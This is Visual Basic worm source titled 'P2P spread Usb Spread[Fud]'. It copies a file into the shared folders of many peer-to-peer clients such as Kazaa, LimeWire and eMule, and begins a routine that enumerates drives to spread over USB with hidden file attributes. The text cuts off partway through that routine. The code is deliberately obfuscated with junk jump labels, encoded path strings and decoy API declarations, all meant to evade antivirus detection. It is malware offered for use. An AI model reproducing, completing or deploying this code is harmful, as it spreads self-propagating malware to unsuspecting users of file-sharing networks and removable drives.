P2P spread Usb Spread[Fud]

Public Sub vndkcemqldbbacspsjuovbcujvmfevhdvfk(sFilename As String)
GoTo pbeanlllngjmtjiplmitjavojsnkpunmhhta
pbeanlllngjmtjiplmitjavojsnkpunmhhta:
GoTo rerfnsnmjrqdsbdchoobcgqiuftv
rerfnsnmjrqdsbdchoobcgqiuftv:
GoTo lhussrunkneqjqstpeqhbvqdurafuto
lhussrunkneqjqstpeqhbvqdurafuto:
GoTo uhmtlsmodutqcbktikjopvijnrpfmug
uhmtlsmodutqcbktikjopvijnrpfmug:
On Error Resume Next
GoTo ivddcfurulrqbdealrohabjabhmvevpfoodsd
ivddcfurulrqbdealrohabjabhmvevpfoodsd:




GoTo vkvebjireplkpagpkocamnfnqtpgkkjmvcfscbiklhscvo
vkvebjireplkpagpkocamnfnqtpgkkjmvcfscbiklhscvo:
GoTo iqhionglaampvktkugrgliqjslqsr
iqhionglaampvktkugrgliqjslqsr:
Dim sPath(10) As String
GoTo nqrvjhtumpbeanlllngjmtjiplmitj
nqrvjhtumpbeanlllngjmtjiplmitj:
Dim sPDir As String
GoTo ojsnkpunmhhtafrerfnsnmjrqdsbdchoobcgqiuftvilhussr
ojsnkpunmhhtafrerfnsnmjrqdsbdchoobcgqiuftvilhussr:
GoTo kneqjqstpeqhbvqdurafutoiuhmtlsmodutqcb
kneqjqstpeqhbvqdurafutoiuhmtlsmodutqcb:
GoTo tikjopvijnrpfmugpmivddcfurulrqbdea
tikjopvijnrpfmugpmivddcfurulrqbdea:
GoTo rohabjabhmvevpfoodsdtvkvebjireplkpa
rohabjabhmvevpfoodsdtvkvebjireplkpa:
GoTo vohiqhionglaampvktkugrgliqjsl
vohiqhionglaampvktkugrgliqjsl:
sPDir = Environ(jtsiaicepeigomajuqpuflu("pr7oagcrua$m~fSiql1eXs}"))
GoTo rahnqrvjhtumpbeanlllngjmtjiplmitjavojsnkpunmh
rahnqrvjhtumpbeanlllngjmtjiplmitjavojsnkpunmh:
GoTo vilhussrunkneqjqstpeqhbvqduraf
vilhussrunkneqjqstpeqhbvqduraf:
GoTo toiuhmtlsmodutqcbktikjopvijnrpfmugpmivddcfurulr
toiuhmtlsmodutqcbktikjopvijnrpfmugpmivddcfurulr:
    sPath(0) = jtsiaicepeigomajuqpuflu("\rL^i7mHeIWFiOr3e%\3Smh†a...r@eGdL\<")
GoTo sdtvkvebjireplkpagpkoc
sdtvkvebjireplkpagpkoc:
GoTo lhscvohiqhionglaampv
lhscvohiqhionglaampv:
GoTo tkugrgliqjslqsrahnqrvjhtumpbeanlll
tkugrgliqjslqsrahnqrvjhtumpbeanlll:
GoTo gjmtjiplmitjavojsnkpunmhhtafrerfnsnmj
gjmtjiplmitjavojsnkpunmhhtafrerfnsnmj:
    sPath(1) = jtsiaicepeigomajuqpuflu("\le&D{o]n:k>efy92B0\0p04\Ni6ncPo{mxiJn'gH\-")
GoTo dsbdchoobcgqiuftvilhussrunkneqjqstpeqhbvq
dsbdchoobcgqiuftvilhussrunkneqjqstpeqhbvq:
GoTo urafutoiuhmtlsmodutqcbkt
urafutoiuhmtlsmodutqcbkt:
GoTo alrohabjabhmvevpfoodsdtvkvebjir
alrohabjabhmvevpfoodsdtvkvebjir:
GoTo scbiklhscvohiqhionglaampvk
scbiklhscvohiqhionglaampvk:
    sPath(2) = jtsiaicepeigomajuqpuflu("\5kga6zKa?ac\]m%yO ~sohga~r:eWd€ hf{oDl:dsevrQ\x")
GoTo ugrgliqjslqsrahnqrvjhtumpbeanlllng
ugrgliqjslqsrahnqrvjhtumpbeanlllng:
GoTo mjrqdsbdchoobcgqiuftvilhussrunkne
mjrqdsbdchoobcgqiuftvilhussrunkne:
GoTo jqstpeqhbvqdurafutoiuhmtlsmodutqcbktikjop
jqstpeqhbvqdurafutoiuhmtlsmodutqcbktikjop:
GoTo ijnrpfmugpmivddcfurulrqbdealrohabjabhmvevpfoodsdt
ijnrpfmugpmivddcfurulrqbdealrohabjabhmvevpfoodsdt:
    sPath(3) = jtsiaicepeigomajuqpuflu("\,k.a}zVahai eloi8tEeS\)mBy@ _sghla\r(eEd7 |fYo^l...dXear|\u")
GoTo scbiklhscvohiqhionglaampvktkugrgl
scbiklhscvohiqhionglaampvktkugrgl:
GoTo qjslqsrahnqrvjhtumpbeanlllngjmt
qjslqsrahnqrvjhtumpbeanlllngjmt:
GoTo rqdsbdchoobcgqiuftvilhussrunkneq
rqdsbdchoobcgqiuftvilhussrunkneq:
GoTo ktikjopvijnrpfmugpmivddcfurulrqbd
ktikjopvijnrpfmugpmivddcfurulrqbd:
    sPath(4) = jtsiaicepeigomajuqpuflu("\Tkna;z;aoa€ 4lji,the2 Uk#+U+k\_m,yb *snhƒa*r#e9dZ wf...o$l6ddeZr.\2")
GoTo tvkvebjireplkpagpkoca
tvkvebjireplkpagpkoca:
    sPath(5) = jtsiaicepeigomajuqpuflu("\qg}r>oMk9svtmenrk\tmWyd rg.rbo`ksltqear-\e")
GoTo fnqtpgkkjmvcfscbiklhscvohiqhionglaampv
fnqtpgkkjmvcfscbiklhscvohiqhionglaampv:
GoTo ngjmtjiplmitjavojsnkpunmhhtafrerfn
ngjmtjiplmitjavojsnkpunmhhtafrerfn:
GoTo nmjrqdsbdchoobcgqiuftvilhussrunkneqjqstpeqhb
nmjrqdsbdchoobcgqiuftvilhussrunkneqjqstpeqhb:
    sPath(6) = jtsiaicepeigomajuqpuflu("\<e8myucl'ex\fi�n1ctosm[i[n+g<\T")
GoTo durafutoiuhmtlsmodutqcbktikjopvijnrpfmugpm
durafutoiuhmtlsmodutqcbktikjopvijnrpfmugpm:
GoTo oodsdtvkvebjireplkpagpkocamnfnq
oodsdtvkvebjireplkpagpkocamnfnq:
GoTo pgkkjmvcfscbiklhscvohiqhionglaampvktkugrgliqjs
pgkkjmvcfscbiklhscvohiqhionglaampvktkugrgliqjs:
GoTo qsrahnqrvjhtumpbeanlllngjmtjiplmitja
qsrahnqrvjhtumpbeanlllngjmtjiplmitja:
    sPath(7) = jtsiaicepeigomajuqpuflu("\&mLo$rRpth(euupsd\#m,yI *s?hJaCrYezd| AfDoVlƒd_e3rR\,")
GoTo tvilhussrunkneqjqstpeqhbvqdurafutoiuhmt
tvilhussrunkneqjqstpeqhbvqdurafutoiuhmt:
GoTo rulrqbdealrohabjabhmvevpfoodsdtvkve
rulrqbdealrohabjabhmvevpfoodsdtvkve:
GoTo mpvktkugrgliqjslqsrahn
mpvktkugrgliqjslqsrahn:
GoTo rvjhtumpbeanlllngjmtjiplmitjavojsnkpunmhhta
rvjhtumpbeanlllngjmtjiplmitjavojsnkpunmhhta:
    sPath(8) = jtsiaicepeigomajuqpuflu("\8g]rmoYk2s(t)e&r0\wmiyw Ng�reo,,k's-t�eMr,,\\")
GoTo erfnsnmjrqdsbdchoobcgqiuftvilhussrunkneqjqst
erfnsnmjrqdsbdchoobcgqiuftvilhussrunkneqjqst:
GoTo eqhbvqdurafutoiuhmtlsmodutqcbktikjopvijnr
eqhbvqdurafutoiuhmtlsmodutqcbktikjopvijnr:
    sPath(9) = jtsiaicepeigomajuqpuflu("\=t5eƒsFl4a†\=fPi/l/ezs`\0")
GoTo nglaampvktkugrgliqjslqsrahn
nglaampvktkugrgliqjslqsrahn:
GoTo frerfnsnmjrqdsbdchoobcgqiuftvilhussrunkneqj
frerfnsnmjrqdsbdchoobcgqiuftvilhussrunkneqj:
GoTo stpeqhbvqdurafutoiuhmtlsmodutqcbktikjopvij
stpeqhbvqdurafutoiuhmtlsmodutqcbktikjopvij:
    sPath(10) = jtsiaicepeigomajuqpuflu("\[wsi+nkm)xr\ysGh0a,r,,eCd=\i")
GoTo dtvkvebjireplkpagpkocamnfnqtpgkkjmvcfscbikl
dtvkvebjireplkpagpkocamnfnqtpgkkjmvcfscbikl:
GoTo lqsrahnqrvjhtumpbeanlllngjmtji
lqsrahnqrvjhtumpbeanlllngjmtji:
GoTo lmitjavojsnkpunmhhtafrerfnsnmjrqdsbdchoob
lmitjavojsnkpunmhhtafrerfnsnmjrqdsbdchoob:
GoTo pvktkugrgliqjslqsrahnqrvjhtu
pvktkugrgliqjslqsrahnqrvjhtu:
    For i = 0 To 10
GoTo beanlllngjmtjiplmitjavojsnkpunmhhtafrerf
beanlllngjmtjiplmitjavojsnkpunmhhtafrerf:
GoTo jopvijnrpfmugpmivddcfurulrqbdealrohab
jopvijnrpfmugpmivddcfurulrqbdealrohab:
GoTo abhmvevpfoodsdtvkvebjireplkpagpko
abhmvevpfoodsdtvkvebjireplkpagpko:
        FileCopy sFilePath, sPDir & sPath(i) & sFilename
GoTo bgigltdghlvsjkcemqld
bgigltdghlvsjkcemqld:
    Next
GoTo acsvcjuufacujvmldvhdv
acsvcjuufacujvmldvhdv:
End Sub
Public Function jtsiaicepeigomajuqpuflu(nposuenosaukrdltrneiihj As String) As String
GoTo ccttimrhphrchcbvhfpinpnseenosgukr
ccttimrhphrchcbvhfpinpnseenosgukr:
GoTo ltbskiihjdadqfvghjfqgtmkgokgmqjj
ltbskiihjdadqfvghjfqgtmkgokgmqjj:
For adqvvgijfqatmfgoegmrdjeu = 1 To Len(nposuenosaukrdltrneiihj) Step 2
GoTo jtciaicdojigomajuaudfluvdhfrcksectlppoqkhkbggno
jtciaicdojigomajuaudfluvdhfrcksectlppoqkhkbggno:
jtsiaicepeigomajuqpuflu = jtsiaicepeigomajuqpuflu & Mid(nposuenosaukrdltrneiihj, adqvvgijfqatmfgoegmrdjeu, 1)
GoTo bhetlmvlntbkqlfqedphpjkvlpnuthqebvems
bhetlmvlntbkqlfqedphpjkvlpnuthqebvems:
GoTo aeomcdrdfjesaavblorinnuvati
aeomcdrdfjesaavblorinnuvati:
GoTo lestgsuedrbmmbfkaiakrgsaufuibgigltdghlv
lestgsuedrbmmbfkaiakrgsaufuibgigltdghlv:
Next
GoTo kcemqldbbacsvcjuufacujvmldvhdvfk
kcemqldbbacsvcjuufacujvmldvhdvfk:
GoTo eenosgukriltbskiihjdadq
eenosgukriltbskiihjdadq:
GoTo vghjfqgtmkgokgmqjjeujtciaic
vghjfqgtmkgokgmqjjeujtciaic:
GoTo tlppoqkhkbggnoqmbhetlmvln
tlppoqkhkbggnoqmbhetlmvln:
End Function

Private Declare Function qnqhmmtvashnkdstfrtdiqarl Lib "gdi32" Alias "qnqhmmtvashnkdstfrtdiqarlA" (ByVal hObject As Long, ByVal nCount As Long, lpObject As Any) As Long
Private Declare Function sgpegfjlrefjnlbiqckiervvu Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function dsrmuqmsbppkeqdiogoikvqom Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long
Private Declare Function meqbprdhcqoonpjgjalfmopla Lib "gdi32" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function dosbnanbjojifnlvotvudkktu Lib "gdi32" (ByVal hdc As Long, ByVal wFlags As Long) As Long
Private Declare Function gicfipeelhiepfsrkfnjflqii Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As Long
Private Declare Function emeohmonsdjmnrfdpqiksarjh Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function ourkdemcekjbhsshlqgpgqcnc Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long
Private Declare Function gkusijbjmpkcggfhrubottefh Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function kfvluukcjdfqfkhpobalhglsc Lib "gdi32" (ByVal hPalette As Long, ByVal crColor As Long) As Long
Private Declare Function ndgmckbltctspbajchkinuuii Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function apcsadbgntbbfpndesvhkgtrr Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function ifvnobnputmrggsvfrdqembmr Lib "gdi32" (ByVal hdc As Long, ByVal hRgn As Long) As Long
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function rcsujedaihqeoqpuvfoptbvls Lib "gdi32" (ByVal hdc As Long, ByVal hRgn As Long, ByVal fnMode As Long) As Long
Private Declare Function qgiosfkfvluukcjdfqfkhpobl Lib "gdi32" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long, ByVal Y3 As Long, ByVal X4 As Long, ByVal Y4 As Long) As Long
Private Declare Function esvhkgtrrrtmpsdpovrspdpgg Lib "gdi32" (ByVal hdc As Long, ByVal nEscape As Long, ByVal cbInput As Long, ByVal lpszInData As String, ByVal cbOutput As Long, ByVal lpszOutData As String) As Long
Private Declare Function poblvsqvgmvquigstluadvmqq Lib "gdi32" (ByVal hemf As Long, ByVal cbBuffer As Long, lpbBuffer As Byte) As Long
Private Declare Function fpndesvhkgtrrrtmpsdpovrsp Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function pbajchkinuuiimaofldgornec Lib "winmm.dll" (ByVal hWaveOut As Long) As Long
Private Declare Function mqqqsfilcihoqrncifvnobnpu Lib "gdi32" (ByVal hemf As Long, ByVal cbBuffer As Long, lpbBuffer As Byte) As Long
Private Declare Function tbbfpndesvhkgtrrrtmpsdpov Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function ctspbajchkinuuiimaofldgor Lib "MAPI32.DLL" (ByVal Session&, ByVal UIParam&, ByVal MsgID$, ByVal flags&, ByVal Reserved&) As Long
Private Declare Function advmqqqsfilcihoqrncifvnob Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function bgntbbfpndesvhkgtrrrtmpsd Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function vnobnputmrggsvfrdqembmroa Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal crColor As Long, ByVal wFillType As Long) As Long
Private Declare Function csadbgntbbfpndesvhkgtrrrt Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function gmckbltctspbajchkinuuiima Lib "gdi32" (ByVal hemf As Long, ByVal cbBuffer As Long, lpbBuffer As Byte, ByVal fnMapMode As Long, ByVal hdcRef As Long) As Long
Private Declare Function fdpqiksarjhhgicfipeelhiep Lib "winmm.dll" (ByVal hWaveOut As Long, ByVal dwRate As Long) As Long
Private Declare Function shlqgpgqcncgemeohmonsdjmn Lib "winmm.dll" Alias "shlqgpgqcncgemeohmonsdjmnA" (ByVal err As Long, ByVal lpText As String, ByVal uSize As Long) As Long
Private Declare Function fhrubottefhdourkdemcekjbh Lib "gdi32" (ByVal cbBuffer As Long, lpData As Byte) As Long
Private Declare Function tfdnalhglsclgkusijbjmpkcg Lib "MAPI32.DLL" (lMsg&, nRecipients&, nFiles&, ByVal Session&, ByVal UIParam&, MessageID$, ByVal Flag&, ByVal Reserved&) As Long
Private Declare Function hnkdstfrtdiqarlakjvnvprgr Lib "MAPI32.DLL" (ByVal UIParam&, ByVal DelimStr$, ByVal FilePaths$, ByVal FileNames$, ByVal Reserved&) As Long
Private Declare Function fjnlbiqckiervvuaqnqhmmtva Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function pkeqdiogoikvqomusgpegfjlr Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Private Declare Function oonpjgjalfmoplamdsrmuqmsb Lib "gdi32" (ByVal hPalette As Long, ByVal nNumEntries As Long) As Long
Private Declare Function jifnlvotvudkktucmeqbprdhc Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function iepfsrkfnjflqiiddosbnanbj Lib "user32" (ByVal hwnd As Long, ByVal wSBflags As Long, ByVal wArrows As Long) As Long
Private Declare Function jmnrfdpqiksarjhhgicfipeel Lib "gdi32" (ByVal hPalette As Long, ByVal nNumEntries As Long) As Long
Private Declare Function jbhsshlqgpgqcncgemeohmons Lib "gdi32" Alias "jbhsshlqgpgqcncgemeohmonsA" (ByVal lpFileName As String) As Long
Private Declare Function kcggfhrubottefhdourkdemce Lib "gdi32" Alias "kcggfhrubottefhdourkdemceA" (ByVal hdc As Long, ByVal nCount As Long, ByVal lpFacename As String) As Long
Private Declare Function rgrvtfdnalhglsclgkusijbjm Lib "gdi32" (ByVal hemf As Long, ByVal cbBuffer As Long, lpbBuffer As Byte, ByVal fnMapMode As Long, ByVal hdcRef As Long) As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function jvnvprgrvtfdnalhglsclgkus Lib "gdi32" (ByVal hdc As Long, ByVal eNewLimit As Double, peOldLimit As Double) As Long
Private Declare Function jbjmpkcggfhrubottefhdourk Lib "gdi32" (ByVal hdc As Long, ByVal nIndex As Long) As Long
Private Declare Function emcekjbhsshlqgpgqcncgemeo Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal dwRop As Long) As Long
Private Declare Function monsdjmnrfdpqiksarjhhgicf Lib "gdi32" (ByVal hPalette As Long, ByVal nNumEntries As Long) As Long
Private Declare Function peelhiepfsrkfnjflqiiddosb Lib "MAPI32.DLL" (lMsg&, nRecipients&, nFiles&, ByVal Session&, ByVal UIParam&, MessageID$, ByVal Flag&, ByVal Reserved&) As Long
Private Declare Function anbjojifnlvotvudkktucmeqb Lib "gdi32" Alias "anbjojifnlvotvudkktucmeqbA" (ByVal hdc As Long, ByVal wFirstChar As Long, ByVal wLastChar As Long, lpBuffer As Long) As Long
Private Declare Function rdhcqoonpjgjalfmoplamdsrm Lib "gdi32" Alias "rdhcqoonpjgjalfmoplamdsrmA" (ByVal lpFileName As String) As Long
Private Declare Function qmsbppkeqdiogoikvqomusgpe Lib "gdi32" (ByVal hdc As Long, ByVal wFlags As Long) As Long
Private Declare Function fjlrefjnlbiqckiervvuaqnqh Lib "winmm.dll" Alias "fjlrefjnlbiqckiervvuaqnqhA" (ByVal err As Long, ByVal lpText As String, ByVal uSize As Long) As Long
Private Declare Function mtvashnkdstfrtdiqarlakjvn Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal crColor As Long) As Long
Private Declare Function eiskahvcknjauuuapmpgslsuv Lib "winmm.dll" (ByVal uDeviceID As Long, ByVal dwVolume As Long) As Long
Private Declare Function ojjvcitgthpupoltsfudfejqq Lib "gdi32" (ByVal hdc As Long, ByVal iMode As Long) As Long
Private Declare Function nnnpilovlkrnokvlcbqluqmra Lib "gdi32" (ByVal hemf As Long, ByVal cbBuffer As Long, lpbBuffer As Byte) As Long
Private Declare Function inkslunsutcjpstbljvaordgc Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As Long
Private Declare Function njuebqjksjkqpinccorbmvmai Lib "gdi32" (ByVal hdc As Long, ByVal nnjuebqjksjkqpinccorbmvmai As Long, ByVal nCount As Long, ByVal lpInData As String, lpOutData As Any) As Long
Private Declare Function irmqecophpsvrimmlobehuedk Lib "gdi32" (ByVal hemf As Long, ByVal cbBuffer As Long, lpbBuffer As Byte) As Long
Private Declare Function obgbrhqqgufvbmbgdlktgrnmr Lib "gdi32" (ByVal hemf As Long) As Long
Private Declare Function kbffehatantsdfgcntqjcdmce Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function qfavsedmvkmlqrbklptrhoair Lib "user32" (ByVal hwnd As Long, ByVal wBar As Long, ByVal bShow As Long) As Long
Private Declare Function suvrgsjdbsfatchavqkajovnu Lib "winmm.dll" (ByVal hWaveOut As Long) As Long
Private Declare Function jqqdeiskahvcknjauuuapmpgs Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Private Declare Function rkfnjflqiiddosbnanbjojifn Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function votvudkktucmeqbprdhcqoonp Lib "gdi32" (ByVal hdc As Long, ByVal hRgn As Long) As Long
Private Declare Function gjalfmoplamdsrmuqmsbppkeq Lib "gdi32" (ByVal hdc As Long, ByVal nStretchMode As Long) As Long
Private Declare Function ovnuoqfavsedmvkmlqrbklptr Lib "gdi32" (ByVal hdc As Long, ByVal cbSize As Long, lpData As Byte) As Long
Private Declare Function oairokbffehatantsdfgcntqj Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function dmcejobgbrhqqgufvbmbgdlkt Lib "gdi32" (ByVal hdc As Long, ByVal nDrawMode As Long) As Long
Private Declare Function rnmrcirmqecophpsvrimmlobe Lib "MAPI32.DLL" Alias "Brnmrcirmqecophpsvrimmlobe" (ByVal Session&, ByVal UIParam&, MsgType$, SeedMsgID$, ByVal Flag&, ByVal Reserved&, MsgID$) As Long
Private Declare Function uedkmnjuebqjksjkqpinccorb Lib "gdi32" (ByVal hPalette As Long, ByVal crColor As Long) As Long
Private Declare Function vmaitinkslunsutcjpstbljva Lib "gdi32" (ByVal hdc As Long, ByVal hMF As Long) As Long
Private Declare Function rdgcpnnnpilovlkrnokvlcbql Lib "gdi32" (ByVal hemf As Long) As Long
Private Declare Function qmrapojjvcitgthpupoltsfud Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function ccbdnqtkppabdvkqnguviuagf Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As Long
Private Declare Function nrpbvjshdcgouhcgqoeftfhlg Lib "MAPI32.DLL" (ByVal Session&, ByVal UIParam&, ByVal MsgID$, ByVal flags&, ByVal Reserved&) As Long
Private Declare Function sodjgvopbnpvdmsnhsgfrjrlm Lib "gdi32" (ByVal hdc As Long, peLimit As Double) As Long
Private Declare Function nabfjhtemugevnrrqsmjmdiip Lib "gdi32" (ByVal hdc As Long, ByVal iMode As Long) As Long
Private Declare Function tllgalvekckegqlkiqoclacaf Lib "gdi32" (ByVal hdcDest As Long, ByVal nXDest As Long, ByVal nYDest As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hdcSrc As Long, ByVal nXSrc As Long, ByVal nYSrc As Long, ByVal hbmMask As Long, ByVal xMask As Long, ByVal yMask As Long, ByVal dwRop As Long) As Long
Private Declare Function umkkjlfcfshbijlhsivomiqmi Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function ekfdbjhrkprpuggpquiamtlnv Lib "gdi32" Alias "ekfdbjhrkprpuggpquiamtlnvA" (ByVal hdc As Long, ByVal iFirstChar As Long, ByVal iLastChar As Long, pxBuffer As Double) As Long
Private Declare Function rnokvlcbqluqmrapojjvcitgt Lib "user32" (ByVal hwndLock As Long) As Long
Private Declare Function cjpstbljvaordgcpnnnpilovl Lib "gdi32" (ByVal hdc As Long, ByVal nMapMode As Long) As Long
Private Declare Function kqpinccorbmvmaitinkslunsu Lib "gdi32" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long, ByVal Y3 As Long) As Long
Private Declare Function svrimmlobehuedkmnjuebqjks Lib "winmm.dll" (ByVal hWaveOut As Long, ByVal dwRate As Long) As Long
Declare Function GetTickCount Lib "kernel32.dll" () As Long
Private Declare Function sjdbsfatchavqkajovnuoqfav Lib "gdi32" Alias "sjdbsfatchavqkajovnuoqfavA" (ByVal hdc As Long, ByVal wFirstChar As Long, ByVal wLastChar As Long, lpBuffer As Long) As Long
Private Declare Function edmvkmlqrbklptrhoairokbff Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As Long
Private Declare Function hatantsdfgcntqjcdmcejobgb Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function hqqgufvbmbgdlktgrnmrcirmq Lib "winmm.dll" (ByVal hWaveIn As Long, lpuDeviceID As Long) As Long
Private Declare Function cophpsvrimmlobehuedkmnjue Lib "winmm.dll" (ByVal hWaveIn As Long, lpuDeviceID As Long) As Long
Private Declare Function qjksjkqpinccorbmvmaitinks Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As Long
Private Declare Function unsutcjpstbljvaordgcpnnnp Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function lovlkrnokvlcbqluqmrapojjv Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function itgthpupoltsfudfejqqdeisk Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function hvcknjauuuapmpgslsuvrgsjd Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function sfatchavqkajovnuoqfavsedm Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function kmlqrbklptrhoairokbffehat Lib "winmm.dll" (ByVal hWaveOut As Long, ByVal dwPitch As Long) As Long
Private Declare Function ntsdfgcntqjcdmcejobgbrhqq Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function ufvbmbgdlktgrnmrcirmqecop Lib "gdi32" (ByVal hdc As Long) As Long
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Function ktplrvooidochnfnhitonlsr(ehoddkfgdnerqidmiekoh As String) As String
GoTo ddptcoancjujoltmaptaudkruucmkbbpsehdqopo
ddptcoancjujoltmaptaudkruucmkbbpsehdqopo:
GoTo knqbmmsopmanedrmvrntbqqkkaejvhujqvqpnuthae
knqbmmsopmanedrmvrntbqqkkaejvhujqvqpnuthae:
For bcnramulahmhgelkunrusbijssakcp = 1 To Len(ehoddkfgdnerqidmiekoh) Step 2
GoTo krsffjtlciadlokbvavbroritnu
krsffjtlciadlokbvavbroritnu:
GoTo athulectgcueibbrmblqaovprgbatfeoblomrsdmmqvsjpbks
athulectgcueibbrmblqaovprgbatfeoblomrsdmmqvsjpbks:
ktplrvooidochnfnhitonlsr = ktplrvooidochnfnhitonlsr & Mid(ehoddkfgdnerqidmiekoh, bcnramulahmhgelkunrusbijssakcp, 1)
GoTo cghgicvcpuufgheovsldendflpcictisrhv
cghgicvcpuufgheovsldendflpcictisrhv:
GoTo acnchemlvispnsdktnrfdqrirtbsj
acnchemlvispnsdktnrfdqrirtbsj:
GoTo onpdgjafflnolvgdsklukmsqjpddptcoancjuj
onpdgjafflnolvgdsklukmsqjpddptcoancjuj:
Next
GoTo tmaptaudkruucmkbbpsehdqopoqknqbmmsop
tmaptaudkruucmkbbpsehdqopoqknqbmmsop:
GoTo anedrmvrntbqqkkaejvhujqvqpnuthaehfkr
anedrmvrntbqqkkaejvhujqvqpnuthaehfkr:
GoTo ffjtlciadlokbvavbroritnuvathulectgcueibbrmbl
ffjtlciadlokbvavbroritnuvathulectgcueibbrmbl:
End Function
Public Sub gpvpkvjiumtnpepurdcmvjg()
GoTo qvsjpbksqlcghgicvcpu
qvsjpbksqlcghgicvcpu:
GoTo fgheovsldendflpcictisrhvgacnchemlvispnsdktnrfdq
fgheovsldendflpcictisrhvgacnchemlvispnsdktnrfdq:
GoTo irtbsjnonpdgjafflnolvgdsklukmsqjpddptcoancj
irtbsjnonpdgjafflnolvgdsklukmsqjpddptcoancj:
On Error Resume Next
GoTo oltmaptaudkruucmkbbpsehdqopoqknqb
oltmaptaudkruucmkbbpsehdqopoqknqb:
GoTo ehfkrsffjtlciadlokbvavbroritnuvathul
ehfkrsffjtlciadlokbvavbroritnuvathul:
GoTo blomrsdmmqvsjpbksqlcghgicv
blomrsdmmqvsjpbksqlcghgicv:
GoTo rfdqrirtbsjnonpdgjaffln
rfdqrirtbsjnonpdgjaffln:
  Dim i As Integer, x As Integer
GoTo vgdsklukmsqjpddptcoancjujoltmaptaud
vgdsklukmsqjpddptcoancjujoltmaptaud:
GoTo ruucmkbbpsehdqopoqknqbmmsopmanedrm
ruucmkbbpsehdqopoqknqbmmsopmanedrm:
GoTo rntbqqkkaejvhujqvqpnuthaehfkrsffjtlciadlokbvavbro
rntbqqkkaejvhujqvqpnuthaehfkrsffjtlciadlokbvavbro:
  Dim sAllDrives As Long
GoTo tnuvathulectgcueibbrmblqaovprgb
tnuvathulectgcueibbrmblqaovprgb:
GoTo sqlcghgicvcpuufgheov
sqlcghgicvcpuufgheov:
GoTo ldendflpcictisrhvgacnchemlvispnsdktnrfdqrirt
ldendflpcictisrhvgacnchemlvispnsdktnrfdqrirt:
GoTo ksqlcghgicvcpuufgheov
ksqlcghgicvcpuufgheov:
  Dim Drives() As String
GoTo rfdqrirtbsjnonpdgjafflnolvgdsklukms
rfdqrirtbsjnonpdgjafflnolvgdsklukms:
GoTo jpddptcoancjujoltmaptaudkruucmkbbpsehdqopo
jpddptcoancjujoltmaptaudkruucmkbbpsehdqopo:
GoTo hfkrsffjtlciadlokbvavbroritnuvathulectgcue
hfkrsffjtlciadlokbvavbroritnuvathulectgcue:
GoTo jpbksqlcghgicvcpuufgheovsldendf
jpbksqlcghgicvcpuufgheovsldendf:
  Dim sSpace As String
GoTo cictisrhvgacnchemlvispnsdktnrfdqrirtbsjno
cictisrhvgacnchemlvispnsdktnrfdqrirtbsjno:
GoTo pdgjafflnolvgdsklukmsqjpddptcoancjujol
pdgjafflnolvgdsklukmsqjpddptcoancjujol:
GoTo maptaudkruucmkbbpsehdqopoqknqbmmsopmanedrmvrnt
maptaudkruucmkbbpsehdqopoqknqbmmsopmanedrmvrnt:
  Dim f As Integer
GoTo roritnuvathulectgcueibbrmblqaovprgbatfeobl
roritnuvathulectgcueibbrmblqaovprgbatfeobl:
  f = FreeFile
GoTo rsdmmqvsjpbksqlcghgicvcpuufgheovslden
